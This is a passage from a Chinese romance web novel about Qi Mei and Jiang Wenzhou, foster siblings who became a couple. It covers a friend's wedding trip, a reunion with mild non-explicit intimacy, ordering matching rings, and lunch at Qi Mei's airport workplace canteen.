等姚敏的堂妹离开,关上门,齐眉才问:“咱们去吃什么饺子啊?” “海胆水饺。”徐丹若让她看自己做的攻略,“这家店很多人推荐,有的说巨好吃,有的说排队人太多了,味道也就那样,不值当,我们外地人也不懂,就随大溜去吃吃看呗,吃过才知道好不好吃,你说呢?” “有道理,那就去。”齐眉点点头。 她们出门的时候,顺路上楼跟姚敏交代一声,在她房间看到她堂妹,对方目不转睛地看向齐眉,因为没有感觉到什么恶意,齐眉便笑眯眯地冲她歪了一下头。 对方立刻不好意思地别开眼,眼神还飘了一下。 姚敏看见,哭笑不得地道:“你要不要跟姐姐们去吃水饺?” 她明显意动,但却摇摇头拒绝了,齐眉她们也没勉强,打过招呼就结伴离开了姚敏一家入住的套房。 一直到进了电梯,周围也没别的人,蒋乐亭才笑着屈肘怼了一下齐眉胳膊,哈哈笑道:“阿敏她堂妹看你的眼神,跟我们以前大一第一次见面,她看你的时候好像啊。” 大概就是那种看到漂亮女生会忍不住多看几眼的好奇,和被发现之后的赧然。 徐丹若被蒋乐亭*这话提醒,也忍不住哈哈笑起来,隔着齐膊微微探头跟她道:“那会儿她都不敢跟阿眉说话,偷偷和我说,我靠我们舍友好漂亮。” 而且还是一个帅哥送她去的宿舍,一开始还以为是她男朋友,结果她刚进门看一眼自己的床铺,就说哥我住这儿吧。 仨人立刻对眼色,原来是兄妹啊,这家基因真好。 蒋乐亭乐不可支,连连点头:“对对对,她是最后一个跟阿眉熟起来的。” 齐眉也想起来那会儿的事,忍俊不禁道:“那会儿我们一起去图书馆你们记不记得,阿敏都不跟我走的,搞得我以为她讨厌我。” 她说完就跟她们俩一起笑出声来。 这些旧事说起来还记忆犹新,仿佛发生在昨天,可一转眼已经是十年前的事了。 “时间过好快呀。”齐眉语气轻快,“我们现在都要成家了。” “可不是么。”蒋乐亭拢了一下身上的薄外套,伸手挽住她的胳膊,“这都十月份了,今年又要过去咯,感觉好像才过了年没多久……” 长大以后的时间一年就像一个季度,才换了两套衣服就过完了,而两天三天就更短了,仿佛只是一眨眼。 姚敏的婚礼办得不算很隆重,但十分温馨隆重,他们连司仪都没请,全程是夫妻俩主持,流程也简洁,很快就进入吃吃喝喝环节。 海鲜大餐很丰盛,大家也喝得很尽兴,姚敏的爸妈对她们三个能千里迢迢过来参加婚礼感到高兴,几天里对她们格外关照。 他们的态度影响了姚敏婆家的人,大概也是为了表示对儿媳妇的看重,齐眉他们要离开的时候,他们还给准备了丰厚的回礼。 姚敏和丈夫老宴送她们去机场,大家在机场依依惜别,尤其是对齐眉。 “阿眉你时间多,记得去申城看我们啊!” 齐眉点头应好:“有机会就去。” “你们结婚的时候记得给我们派请帖。” 齐眉闻言嘿嘿一笑:“好好好,这个一定不会忘记的。” 直到再不走就赶不上飞机了,齐眉这才同她们彻底挥手道别,匆匆往自己所乘航班的检票口走。 她听着飞机起飞的轰鸣,心里有些惆怅生出,无论何时,分离总是件让人不太高兴的事。 飞机越升越高,钻进了云层,齐眉从窗口望出去,看见干净的蓝天,那点和好友短暂相聚过后迎来长久分离的怅然渐渐被归心似箭取代。 她想家里了,想江问舟,想干爸干妈,想金金年年,还有店里的大家。 下午三点,飞机在容城国际机场落地,齐眉等到行李,匆匆往停车场方向走。 路过平时坐班的医务点时,还下意识扭头看看,见同事正在接待有需要的旅客,便抿唇笑笑。 没有进去打个招呼的想法,她怕江问舟在车上等急了。 但走到半路,还是和实在按捺不住下来接她的江问舟碰了个正着。 将行李箱递过去,这才问:“不是让你在车上等我么?也没多少东西,用不着接的。” 江问舟笑笑,揽着她的肩膀往停车位走,边走还边问她这几天玩得高不高兴之类。 等上了车,不等齐眉系好安全带,就被他抓着胳膊拉了过去。 她的疑惑被迅速湮灭在相贴的唇齿之间。 他的舌尖带着急切莽撞地冲过自己牙关的那一刻,齐眉感觉到灵魂似乎正随着他微颤的嘴唇产生共振。 思念竟然在这个已经见面的时刻猝然到达顶峰。 齐眉下意识地抬手攀上江问舟的脖颈。 她靠在座椅里,江问舟的气息有些霸道,几乎将她完全包裹。 又是在这样封闭的空间,彼此呼吸的每一点细微变化都会被放大,听到耳边的呼吸从平稳变得急促,喘息声越来越重,她不自觉地想起那些肌肤相贴的时刻。 没过多久便觉得自己浑身发软,周围的温度也很高,渐渐有些呼吸困难。 她有些分不清是十月的容城炎热依旧,还是空间密闭空气不流通才会这样。 “嗯——” 江问舟理智尚存,在发觉齐眉身体出现熟悉的变化那一刻,便立即将注意力往回拉。 原本已经变得激烈的动作渐渐变轻,连同呼吸也慢慢恢复平缓。 仿佛是夏日里一次突如其来的阵雨,来得快,去得也快,最后只剩下轻缓的微风。 齐眉的意识在他和风细雨一般的亲吻里回笼,有些不好意思地别开头,侧脸贴在他肩膀上平复呼吸。 江问舟摩挲着她的后背,亲亲她的耳尖,叹口气,在她耳边低喃:“这几天有没有想我?” 齐眉揪着他的衣襟,低声嗯了一下。 应完又觉不够,抬手摸着他的侧脸,说了声:“想的。” 江问舟刚想追问有多想,她就抢先道:“我们快回去,好不好?” 他这时松开齐眉低头看向她的脸,被她眼里潋滟的眼波吸引。 黝黑的眸子里似乎藏着千言万语,是不用特意说明的眷念,也是未曾出口的某种邀约。 他忍不住吞咽了一下。 最后到底是什么也没说,低头蹭蹭她鼻尖,帮她将安全带系上,这才启动车子。 回去的车速似乎格外的快,反正齐眉觉得比平时自己上下班的用时都少。 刚进门,拉着的行李箱都还没放开,就被江问舟按在了门上。 似乎只有大战一场才能纾解在分离的日子里堆积起来的情绪和欲望。 他们连体婴一般从客厅进了浴室,半天才出来,浴室里潮热的温度还没褪去,卧室里弦歌又起。 一直到天都黑透了,这动静才停歇,俩人也不开灯,就这么互相依偎着嘀嘀咕咕讲小话。 都是些很无聊没营养的话题,齐眉甚至问他:“哥,你觉得幸福吗?” 江问舟嗤一下笑出声来,逗她:“我姓江,不姓符。” 齐眉一噎:“……求求你放过这些老梗吧!” 江问舟笑了好半晌才停下来,摸着她的脸,语气认真地回答她的问题:“很好,西西,我觉得我现在的每一天都过得很快活,我希望能一直这样。” 为此他会做菩萨最虔诚的信徒,以祈她能永远庇佑他和齐眉。 齐眉听了他的话嘻嘻笑了两下,一面往他怀里腻,一面摸着他的腹肌问道:“我们明天干什么呀,还睡懒觉吗?” 哦,又不是她刚才嚷嚷说不行了的时候了。 江问舟捏捏她的脸,失笑:“妈有交代我们,要一起回去吃饭。” 对哦,他们要回家吃饭的。 “真好啊。”齐眉安静了一会儿,忽然说,“明天快点来。” 江问舟失笑,嗯了声。 他期待的是往后余生每一天,他会看着她一天天变老,眼角长出皱纹,脚步变得蹒跚。 可她依然会是很多很多年前,他领着长大的小姑娘。 “舟舟,妹妹以后就住我们家了,你是哥哥,要好好照顾妹妹,知道吗?” “知道了。” “从今以后你们就是夫妻了,要互帮互助,凡事有商有量,成为彼此的后盾和退路,记住了吗?” “记住了。” ————全文完———— 第86章【大结局】 第86章 大结局(捉虫)给我买个戒…… 齐眉年假结束,九月也过半了。 回城以后孙茂芸张罗着一家人聚餐,美名其曰:“今年是舟舟的第一个教师节吧?要庆祝一下。” 江问舟想说他早在申城时就开始带学生课了,可想了想,这话又没说。 倒是揶揄道:“中元节我们家是不是也没过,要不要也补一下?” “谁说中元节没过?”孙茂芸白眼他,“人家说中元节要躲起来,不要在外面逗留,别挡了底下的人出来放风,我们那天连散步都没去,不信你问西西。” 至于祖先,“我和你爸已经提前去拜过了,跟他们说了我们要出门,他们不会回来的。” 江问舟:“……”怎么说得跟真的一样:) 但大家还是去吃饭了,挑了一家新开的创意菜餐厅,味道一般般,不过环境不错,一家四口随便吃吃也可以。 吃饭的时候齐眉提起江问舟的生日:“我哥生日要到了耶,今年怎么过啊?” 孙茂芸想了一下,说没有啊,“今年有闰月,他生日还早着呢。” “阳历生日嘛,身份证上那个。”齐眉应道,“我看今年刚好是周末,我们吃大餐去吗?” 江问舟刚喝进嘴里的水差点就呛出来,一天到晚找机会聚餐说的就是他们家。 孙茂芸拿手机看一下日历,“你们俩去呗,我和你爸要去南山寺拜神。” 齐眉哦了声,扭头看向江问舟,“哥?” “休息。”江问舟有些无奈地点点头答应道。 等吃过饭回去,俩人端着果汁窝在沙发里看电影的时候,齐眉问他:“想要什么生日礼物呀?” 江问舟嘴里含着最后一口果汁,一时没立刻应答。 齐眉就猜:“键盘?游戏机?衣服?公文包?香水……香水不行,你上班不可以喷香水。” “衣服买了。”江问舟把果汁咽下去,这才应道,“你先让我想想。” 说着人一歪就靠在了她的身上,没等她伸手来推,便向下一滑。 江问舟躺在了齐眉腿上,抓过她的左手揉捏着她的指节。 摸到她中指上的戒指。 是之前他给她买的两枚金戒指中的一枚,现在被她光明正大地戴在了中指上。 当时她还说,要戴在食指上,被爸妈发现的话,就说是戴来招财的。 现在终于可以光明正大地戴在中指上了。 就像他们如今终于可以自由自在地在阳光下拥吻,不用担心会不会被熟人或者父母看见。 也不用再借着兄妹打闹的名义,才得以在他们面前展现片刻亲密。 江问舟心里一动,“给我买个戒指吧,西西。” 齐眉都已经开始在心里盘算如果买键盘的话,是定制一把独一无二的呢,还是买一把成品的,突然听到他说要戒指,不由得一愣。 “……啊、戒指啊?可以啊,可是、你怎么突然想要戒指啊?” 齐眉既好奇,又有些苦恼:“可是你平时要上手术,不是不能戴么?” “上手术的时候我就把它摘了收起来。”江问舟应道,捉起她的手,把她手心盖自己脸上,亲了亲,“好不好?我想要。” 声音温和得像是在撒娇,望着她的目光里甚至还有点央求的意味。 多难得,齐眉的心瞬间被他的语气和亮晶晶的目光击中,立刻点头应好。 “买一对的好不好?我们戴一样的。” “当然好。”江问舟望着她弯起眼睛,“这样最好了。” 接下来至少两个小时,俩人做的唯一一件事就是凑在一起看齐眉的手机。 从熟悉的上市品牌的官网和旗舰店,到购物软件根据浏览记录推送的不知名珠宝工作室的产品,最后属意的是上次孙茂芸带他们去定制过生日礼物的那家工作室的一款对戒。 很简单的K金光面戒圈,男款的戒面上刻着数字“1”至“12”,代表一年十二个月,女戒则是刻着“1”至“31”,代表每个月的三十一天。 此外男戒正中镶嵌了一颗矢车菊蓝宝石,女戒镶嵌的是鸽血红宝石,齐眉说是:“好一个红蓝出CP。” 江问舟失笑点头:“这对确实合适,很低调,但也有细节,内侧还可以刻字,挑哪个日期比较好?” 问完不等齐眉回答,他话音接着一转:“但也有点不完美,我们在一起是九月,九月只有三十天,这刻着31,多了一天,而且……” “怎么男戒没有红宝石的选项?红宝石才是你的生辰石……”江问舟说着说着就觉得这戒指也没这么好了,“要不再看看,应该还有类似的款式。” 齐眉想了想,“要不先问问能不能改?不行的话,我们直接在她家按照我们的想法定制一对,你觉得怎么样?” 主要是在她家定制过,觉得做工质量很不错,比再找另一家没光顾过的店要让人觉得放心一些。 江问舟觉得这样也好,于是点点头应好。 齐眉于是联系客服询问能不能修改,或者是重新定制,等待回复的时候,她忽然想到:“你不会是因为九月份是纪念日,又恰好是生日,所以才想要戒指的吧?” “百分之八十。”江问舟应道,还是玩着她的手指,声音懒洋洋的,“还有百分之二十是为了避免麻烦。” 齐眉一愣:“……怎么说?” “省得再有人问我有没有对象……” 他话刚说一半,齐眉心里一些不太美妙的回忆就被勾了上来。 顿时咬牙切齿:“怎么说,又有好心人给你介绍对象了?” 边说边把手从他爪子里抽回来,作势要拧他了。 还骂他:“你怎么天天招蜂引蝶的?!” 这种事肯定怪不到别人,有问题的一定他! 江问舟哭笑不得,连忙一把抓住她拧过来的手指,包在手心里,这才解释道:“没有,这不是为了以防万一么……” 说着便看见齐眉的眼睛里突然开始冒小火苗,嘴巴紧抿,下巴绷得紧紧的,眉心也皱巴得能夹死蚊子。 他叹口气,改口承认道:“是被病人家属问过两次,就是好奇,我说有对象了,人家还说,也是,好饭留不到隔夜。” 齐眉哼了声。 他赶紧尝试转移话题,继续道:“我上周五回去上课,跟新认识的教研室同事一起吃了个饭,听到有同事说暑期的时候,她女儿玩的游戏跟一个健身软件联名,要积累够里程才能兑换奖牌,要他帮忙做,他就从实验楼的楼梯走下来,结果在楼梯间那里不小心撞见药学院一位教授组里的博士跟带她的小导表白,问他能不能和自己在一起。” 哇!是瓜!没吃过的瓜! 齐眉的注意力果然就被带偏了,忙问道:“然后呢?同意了吗?” “当然没有,对方成家了的。”江问舟回答道,侧头看一眼她还拿在手里的手机。 屏幕上还显示着和定制工作室的客服沟通的信息页面,这会儿已经有了回复,对方给了她一个微信号,让她联系设计师聊具体的要求。 那就是可以改的意思了。 江问舟松口气,示意齐眉看信息,继续道:“对方拒绝她的时候,我们同事刚好误入现场,因为没什么人,所以他立刻被发现了,用他的话说就是,走吧,觉得不礼貌,但是不走,又很尴尬。” “后来呢?”齐眉一心二用,一面问他后续,一面回复客服信息。 “后来啊……”江问舟的语气有些忍俊不禁,“我们同事想了想,干脆装作什么都没看见,直接从他们俩旁边走过,还问他们,吃了吗,说完就继续下楼了。” 就是下楼的脚步从原本的不紧不慢,变成了一阵小跑,一直跑到了一楼,回头看一眼确认后面没人,这才松口气。 得出结论就是:“他说以后再也不走楼梯了。” 齐眉听到这里忍不住哈哈笑出两声来,接着将手机屏幕转到他面前,问道:“定制要求我这么写行不行?” 男款要红宝石,女款要蓝宝石,女款的戒面数字加上“31”。 江问舟看完点点头,她接着问:“里面的刻字呢,刻什么?” “我的刻你的生日,你的刻我的生日。”江问舟的语气恢复成懒散,顺便伸手摸了一把她的脸。 齐眉撇头躲开,继续跟设计师讨论戒指的细节。 但戒指的款式很简单,普普通通的白金光面戒圈上有一颗小小的宝石,宝石的切工也是经典百搭不出错的圆形切割,唯一能玩一下花样的就是数字的字体。 可是设计师用软件P了几个草图给她看过之后,觉得什么飘逸的艺术字体都没有板板正正那个好看,她很喜欢那种正式又沉稳的感觉,很适合江问舟。 等她好*不容易和设计师敲定所有细节,已经又过了快两个小时,周围静悄悄的,电影早已播完,江问舟也躺在她腿上睡着了。 他似乎睡得很沉,呼吸均匀,眉眼舒展,嘴角甚至还微微翘着,不知道是不是做了什么很好的梦。 齐眉一时舍不得叫醒他,便就让他这么睡着,自己则是打开了社交软件,开始漫无目的地刷网页。 江问舟觉得自己只睡了一会儿,估摸着也就十几分钟,最多半个小时,于是睁眼第一句话就是问齐眉:“订单下好了?” “……诶?你醒了?”齐眉突然听见他的声音,愣了一下才反应过来,随即点点头,“已经说好了,周末我们就去取,说这款戒指比较简单,所以工期比较短。” 江问舟抬手用手背挡住眼睛打了个哈欠,“难怪这么快就搞定了……” “哪里快了。”齐眉笑着戳戳他的脸,半真半假地吐槽道,“你一个吃现成的怎么会知道做饭的有多辛苦,我可是和设计师商量了两个多小时!” 两个多小时?江问舟一愣,他睡了这么久? 齐眉戳着他的脸继续道:“我跟你说,给你买了戒指,你要是不好好戴着,再给我在外头惹些花花草草回来,我要你好看。” 真是要被冤死了,江问舟顿时就被气笑:“我什么时候招惹过?还再,我一次都没有,哪来的再?你少让我当窦娥,我胆子小,会被吓死的。” 齐眉眼睛一转:“……我不管,反正最终解释权归我。” 她捏着江问舟的耳朵,继续道:“还有,不准弄丢,要是弄丢了,哼哼。” 语气是那种故意做出来的凶巴巴,江问舟顿时失笑,一边拉过她的手,一边问道:“要是真的不小心弄丢了,怎么办?” 这齐眉还真是没想好,东西都还没见到实物呢,怎么可能就去想弄丢的事了。 她憋了一会儿,哼了声:“要真是丢了……你、你洗一个月的厕所!” 江问舟这下是真的笑出声来,好家伙,临时想的惩罚果然……不算惩罚。 “还真是狮子小开口。”他忍不住揶揄道。 齐眉被他取笑了,脸有些发热,啧了一声,伸手使劲一推他:“……起开!我腿都被你睡麻了!” 是真的麻了,没力气站起来那种,既软又痛,像有很多蚂蚁在皮肤里钻来钻去。 江问舟连忙起来,帮她揉腿,听她先是怪叫两声,接着说:“我国庆要去姚敏的婚礼哦,你去不去?” 江问舟动作一顿:“……几号?” “三号,但我们二号就得到了,要帮忙做准备。”齐眉回答道,有些期待地看着他。 江问舟粗略算了一下自己的排班,摇摇头:“三号应该是我值班,我看看能不能换到班吧。” “肯定换不到,假期中间的班最难换了,你还是本地的。”齐眉嘟囔道。 随即又哼了声:“你不去也好,我们可以自己玩,就不用管你了,省得夹个男的在中间我们还会放不开。” 她斜着眼乜一下江问舟:“我要去玩咯,去看小帅哥。” 江问舟真是被这人气笑,用力揪了一把她的大腿:“怎么,只许州官放火?” 话音刚落,齐眉就尖叫着被他迅速扑倒在沙发上。 家里没有孩子,小猫小狗也被接走的好处就是,他们可以随时随地亲热,解锁家里的每一个地点。 ————— 江问舟国庆有两天班要值,中间三号那一天根本找不到人换。 “交情也没好到那份上,我问一次没人有空就算了,宋主任倒是乐意帮忙,可他四号值班。” 换了等于没换,他要是三号参加完婚礼漏夜赶回来,未免太赶,所以思来想去,只能齐眉自己去。 齐眉听了先是有些得意地笑:“我跟我们组其他点位的同事分别换了两个班,那样我就可以二号出发,五号回来了,也不耽误我八号值班。” 太完美了!还得是她!!! 她冲江问舟抛了个得意的眼神:“不用羡慕我哦。” 不等江问舟说什么,她又立刻伸手捧住他的脸,凑上前亲了亲:“我在外面回想你的,你也要想我。” 江问舟闭着眼让她亲,嘴角是强忍都忍不住的笑意。 “……好,会想你的。”他顿了顿,接着问,“店里的事都安排好了?” 齐眉靠着他,把自己的手和他的放在一起,端详着刚刚上手的情侣对戒,嗯嗯应了两声。 “都说好啦,佟哥和乐乐辛苦一点,找了个音乐学院的学生来做小时工,宋主任家侄子要回去了嘛,明天我们带他一块儿吃个饭,你也去?” 经过两个多月的学徒生涯,在佟林他们每天见缝插针的劝解下,吃过苦,意识到想当好一名调酒师的小宋同学原本坚定的退学心总算被打消,愿意回去上学准备高考了。 这个消息让所有人都松了口气。 “你都不知道,我做噩梦都是梦见他不肯回去,死都要退学,然后宋主任来找我们赔钱。”齐眉嘟囔着吐槽道。 江问舟失笑:“不至于不至于,宋主任不至于这么不讲理。” “他是讲理,小宋他爸妈可未必。”齐眉撇撇嘴,“这不就跟交了钱就盼着病人完全治好出院的家属一样?给了钱的,希望大大的,结果你现在跟我说治不了?” 天都塌了好吗!不找你麻烦找谁的? 江问舟无奈地笑笑,没办法反驳她这话,甚至觉得很愧疚:“下次我会尽量推掉,这次麻烦你和嫂子给我善后了,对不住。” 齐眉闻言却是一愣,随即哎呀一声反应过来,急忙直起身去捧他的脸。 “不是,不是这样的,我没有抱怨你的意思,哎呀……” 她很着急,说话有些语无伦次,甚至都没办法立刻将心里的想法整理成通顺的话说出来。 只能说:“不麻烦的,没有呀,我们还赚钱了呢,有钱不赚才傻呢,你说是不是?” 江问舟被她的反应逗乐,笑着点点头,将她一把拉进怀里,抱着她拍拍她的背,解释道:“我知道,只是……本来你们不用麻烦这一趟的,几万块,不是什么很多的钱,对吧?” 却要费很多劲,自古以来,不管是哪个领域的老师,都很不好当。 所以他才觉得麻烦了齐眉和任清葭,尤其是任清葭他们,赚到了这一笔学费是真,他欠了大家人情也是真。 齐眉抬手摸摸他的脸,眨着眼睛道:“可是,我觉得朋友和亲人之间,就该这样互相麻烦才对,对方越是重要,我越要麻烦他,他帮我,以后我也帮他,我们的关系和情分才会越来越厚。” 而且,“我们是家人啊,家人不就是互相帮忙解决问题的吗,那我问你,要是羽丹、嗯,就是我同事,她有需要去你们医院看病,想托你介绍医生,或者帮忙挂个专家号,来跟我说,我想着大家同事一场关系也很好就跟你开口了,你帮不帮忙?那你帮了,我是不是也得跟你讲抱歉给你添麻烦了?” 她撇撇嘴,语气有些委屈:“我们这么生分吗,你还是不是我哥了?” 江问舟瞬间哑然。 张口就想说抱歉,话都到嘴边了,又赶紧硬生生咽了回去。 半晌才讪讪地道歉:“我错了,以后不说了。” “这才乖。”齐眉笑嘻嘻地亲了他一下,摸摸他的脸。 他们离得极近,江问舟等数清她每一根睫毛,在她的眼睛里看到自己小小的影子。 有时候他会觉得自己就是那个站在地上仰脸望着天,等着天上掉馅饼的人,在她盛大厚重的爱意里渺小如同沧海一粟。 他搂在齐眉腰上的胳膊猛然一缩。 齐眉直接跌进他怀里,疑惑地诶了声:“怎么啦?” 她觉得这人的情绪好像突然有点不太对劲。 似乎一下就变得有些低落,但又不像不高兴那种低落。 “……没怎么。”江问舟低头,下巴压上她的肩膀,有些静静地发呆。 过了没两分钟,突然叫她的名字:“西西。” 齐眉以为他有事跟自己说,嗯了声,等他继续说。 结果他又叫了她一声:“西西。” 齐眉嗯的音量拉高了一点,表示自己有在听,可以继续讲正事了。 但她听到的仍然是:“西西。” 齐眉:“???” “……到底什么事?”她有些按捺不住地问道。 江问舟却说没有,只是觉得:“你的名字好听,我想喊喊。” 齐眉一向觉得自己的名字普通,也没什么特色,听到他的话便忍不住问道:“怎么个好听法?” 东南西北的西,能好听到哪里去? 其实江问舟也说不上来,只能说实话:“是你的名字我都觉得好听。” 齐眉嘻嘻笑了一下,揶揄道:“我要是叫阿猫阿狗,你也觉得好听?” 江问舟这下沉默了,半晌才自觉委婉地道:“年年和金金的名字也不错,你觉得呢?” 要不你借一个吧! 齐眉哈哈笑着扑倒在他怀里,两条胳膊紧紧圈住他的脖颈,脸贴着脸,连鬓角都蹭在一起。 然后贴着他的耳朵跟他说悄悄话:“江问舟,你的名字也好听,最好听。” 声音故意夹起来,听着像撒娇,江问舟只觉得自己的耳朵立刻便热起来。 齐眉察觉他的身体在这句话之后似乎逐渐紧绷,耳边的呼吸变得沉重,还愣了一下。 没等她反应过来,人就被江问舟搂着背拖了起来。 他掐着齐眉的腰,拍拍她的腿,她便习惯性地往他身上一挂。 被抱回房间的路上,她突然叹口气,问道:“你说,金金和年年再在村里住久一点,还会认得我们吗?” “它们又不傻。”江问舟笑了声,将她压倒在床铺上。 “窗帘!窗帘没拉!”她嚷嚷起来。 江问舟一面爬起来去拉窗帘,一面表示不满:“马上就要年底了,趁购物节换个电动的吧?” 齐眉想也不想:“没钱,不换。” 这当然不可能,江问舟虽然也不太清楚家里到底多少存款,但他从自己的工资角度去想,觉得家里没理由连一个电动窗帘都换不起。 于是他笑着拱拱齐眉的脖子,也跟她开玩笑:“求求你了,西西,你也不想我有被别人看光的风险吧?” 齐眉痒得直缩脖子,忍着笑一本正经地点头:“那就换,我的私人财产可不能让别人觊觎。” 说完就把脚翘上他的腰,仰头接住他的吻。 卧室里的气氛逐渐变得缱绻又黏稠。 过了两天,齐眉和任清葭特地店休一天,一来为小宋同学践行,二来也是趁机请店里大家聚个餐。 江问舟和陆阳当然也来了,加上店里的采购大主管和两位咖啡师,刚刚好凑满一桌。 吃饭的地方就是在陆阳自己管的一家酒店,进门的时候他跟江问舟勾肩搭背的问道:“怎么样,到时候在这儿摆酒是不是也挺好?” 他手指向上指了指,“楼上有两个很大的宴会厅,开个三五十桌没问题的。” 江问舟点点头,“你跟嫂子……终于定好摆酒的日子了?” 上个月七夕节,当天正好是工作日,俩人一大早就出门去民政局排队,结果和他们一样打算的人多得不得了,一直到快中午才拿到证。 “是啊是啊,明年过了年呗,天气不冷不热的时候穿婚纱舒服,到时候你和西西也可以在这边。”陆阳笑呵呵地答应道。 江问舟听了刚要应好,就见走在前面的齐眉突然回头,认真问道:“场地费打不打折的?” 陆阳手一挥,大方表示:“自家人讲这些,免费给你们用。” 还有这种好事?齐眉立刻松开任清葭的胳膊,掏出手机,点开录音,认真对他道:“你再说一次,我录一下。” 大家立刻便笑起来,说她还真是谨慎。 吃饭的时候,大家五花八门的话题聊了一通,最后聊得最久的就是交代小宋同学的话。 “好好复习啊,高考完了再来,这次就不收你学费了,还给你开工资,两个月下来估计能攒个一万块了,存起来以后这就是你的启动资金。” “争取考考农大?陵城那边的农大,还有容城这边容大和容科大都有农学院,食品专业可以,大专的话我记得有些学校是有酿酒工艺这个专业的,到时候可以看看。” “到时候暑假还可以来啦,还有得学呢你小子。” “上大学了可以好好想想以后是要开店,还是当调酒师,要不要去打比赛,离你参加工作还有好几年,这几年里可以多看看多想想,不用那么着急做决定,这个市场最好的时候早就过去了。” 小宋同学边听边点头,江问舟看着他的神情,见他没了刚来时那种随便听听的敷衍态度,心里松口气。 小孩么,脑筋能转过来,就什么都好办了。 送走小宋同学,齐眉进入几天上班的状态,早上这边交了班就去另一边接班,好在不缺地方住,几天不回家倒也问题不大。 国庆节当天江问舟倒是不上班,一大早就从村里回城,给她把行李箱送到机场,同时带来的还有她交代的几盒本地特产。 到的时候正好是吃午饭的时间,医疗点里只有齐眉一个人,搭班的同事先去吃饭了。 她问江问舟要不要吃了午饭再回去,“隔壁就是肯德基,前面还有别的连锁快餐,要不你去看看,顺便帮我带个饭?” 江问舟还没来得及答应,去吃饭的搭班护士回来了。 看见江问舟在这儿,还见到个行李箱,起初以为是不舒服的旅客,可刚跟齐眉打了声招呼,就听她接着跟对方说:“正好,要不我带你去吃我们单位食堂啊?” 江问舟本来想说隔壁肯德基就挺好,闻言呼吸一顿,点点头嗯了声。 去单位食堂啊…… “阿眉,这是……男朋友吗?”搭班的同事这时反应了过来,好奇地八卦道。 齐眉笑眯眯地点点头,简单说了句:“我明天要出门,他来给我送行李。” 说完摸出饭卡,示意江问舟:“走,我们去吃饭。” 江问舟应了声好,转身率先往门外走,走到门口,手往后一捞,恰好捉住齐眉的手。 齐眉跟上他,脚步轻盈得不由自主地蹦了两下,笑嘻嘻地问他:“我不在家,你准备怎么过国庆节呀?” “回村里种地。”江问舟一本正经地应道。 齐眉啊了一声,刚想问这时候种什么啊,就听他继续道:“把你照片埋土里,到时候长出一个齐西西,那样不管你在不在家,都有西西陪我了。” 齐眉:“……”这对吗??? 被她捶了两下,江问舟才笑着说实话:“妈说要种些香菜小葱之类的,以后家里就不用买了,再种些小胡萝卜,你不是爱吃沙拉么,胡萝卜有营养。” 齐眉笑嘻嘻地应:“香菜我也爱吃,小葱煎蛋我也爱吃。” “懂了,给我们家大馋丫头多种点。”江问舟逗她,还侧头碰了一下她的脑袋。 齐眉恼得直用指甲抠他胳膊。 江问舟从来没来过机场的员工餐厅,“要不是你带着,我估计都不会注意到这里还有家餐厅。” 餐厅里窗明几净,也很安静,原木色的四人位餐桌餐椅,每隔两张桌子就有一盏高高的落地灯,灯杆在顶端开叉,分别向四个方向垂下一盏灯,像一颗枝桠弯下来的树,还挺有艺术气氛。 正值中午饭点,餐厅里虽然没坐满,但也相当热闹,到处都是机场的职工制服,齐眉见他有点好奇似的,主动跟他介绍,这样的是地勤,那样的是维修,一边说一边带着他往窗口走。 透过玻璃橱窗往里看,可以见到琳琅满目的餐食菜品,粥粉面饭一应俱全,还有面点窗口,一排过去都是整整齐齐的包子花卷一类。 “一会儿买点包子拿回家,你们明天吃早饭,怎么样?”齐眉提议道。 江问舟应了声好,还没来得及说什么,就见旁边有打量的目光投过来。 他抬眼望过去,看见两位和他们年纪相仿的女士,犹豫了一下,还是冲对方客气笑笑,顺便碰了一下齐眉的手肘。 齐眉从看着菜牌纠结吃什么这件事中回过神,看见同事,立刻笑眯眯地同对方打招呼,客气道:“你也现在才来吃饭啊?” 对方这才好奇地问:“男朋友啊?” 齐眉笑着应了声是,扭头问江问舟:“我想去吃麻辣烫,你吃什么呀?” “盖饭吧。”江问舟看一眼菜单,“再要一份冰镇绿豆沙。” 齐眉应好,让他先陪自己去点麻辣烫。 结果这人麻辣烫一丝辣都不要,点的还几乎全素,之所以是几乎,是因为还加了鹌鹑蛋。 “又是萝卜豆腐又是红菜蘑菇西蓝花,能吃饱么?”江问舟看着她夹的菜,忍不住直皱眉。 “我乐意。”齐眉应了声,又嘟囔,“再吃我的旧裙子就要穿不进去了,那可不行。” 江问舟都不知道说什么才好,叹了口气,戳戳她胳膊:“齐老板,我要加菜,来个炸鸡翅和糖醋排骨,你不吃肉我帮你吃。” 齐眉眨眨眼,扭头逗他:“只吃肉不吃菜,不怕早上起来上厕所艰难吗?” “那你别管。”江问舟瞪她,“吃饭时间不要说这种东西。” 齐眉哈哈笑着靠在他胳膊上,还没来得及说什么,就听到一旁传来一声笑嘻嘻的:“阿眉~” 她扭头一看,是航医的同事,忙站直了跟对方打招呼。 对方看一眼她,又看一眼江问舟,对她眨眨眼睛道:“群里有人说你今天带男朋友来上班,我还以为他们开玩笑,原来是真的啊?” 齐眉一囧:“……怎么可能,谁在胡说八道!” 这是怎么发酵出来的流言,听听这叫什么话! 她赶忙解释:“我明天要直接出远门,他来给我送行李啦,刚好是饭点才过来一起吃个饭。” 同事听了直乐:“知道知道,大家开玩笑啦,这又不是什么旅游景点,谁会那么想不开带家属一起来。” 接着跟她说:“我听说昨天你们接了个在机上分娩的?” 齐眉点点头,有些哭笑不得地叹气:“八个月了,还跑出来看演唱会,结果上厕所出来不小心崴脚一摔,早产了。” 简简单单的一句话,其中包含多少惊心动魄的细节,不仅同事听懂了,江问舟也听明白了,忍不住嘴角一抽。 聊了几句,齐眉的麻辣烫煮好了,江问舟替她接过端在手里,听她跟同事道别,一道往买盖饭的窗口走。 要了份尖椒肉丝盖饭,再去拿炸鸡翅和糖醋排骨,找地方坐下之后,江问舟一面问她姚敏的婚礼请了多少人,一面不动声色的往她碗里夹排骨。 等齐眉反应过来,碗里的豆腐已经沾上了糖醋排骨酱汁的一抹微红。 她皱着鼻子嗔了对面一眼。 江问舟不以为意,甚至用筷尾轻轻叩了一下她的碗沿:“快吃饭,万一一会儿来活了怎么办?” “呸呸呸,你这个乌鸦嘴。”齐眉立刻啧声反驳,又说,“不可以敲碗,我又不是乞丐!” 她自己敲的时候就不这么说。江问舟斜睨她一眼。 还是没来得及说什么,同事就过来打招呼了,不用问,肯定是因为好奇江问舟。 有自来熟的还打听他:“你跟阿眉是怎么认识的啊?” “从小就认识,我爸妈是她干爸干妈。”江问舟温声应道,给对面的齐眉再夹一块鸡翅。 对方恍然大悟:“原来是青梅竹马了。” 多么简单、直接,又特别中肯的点评! 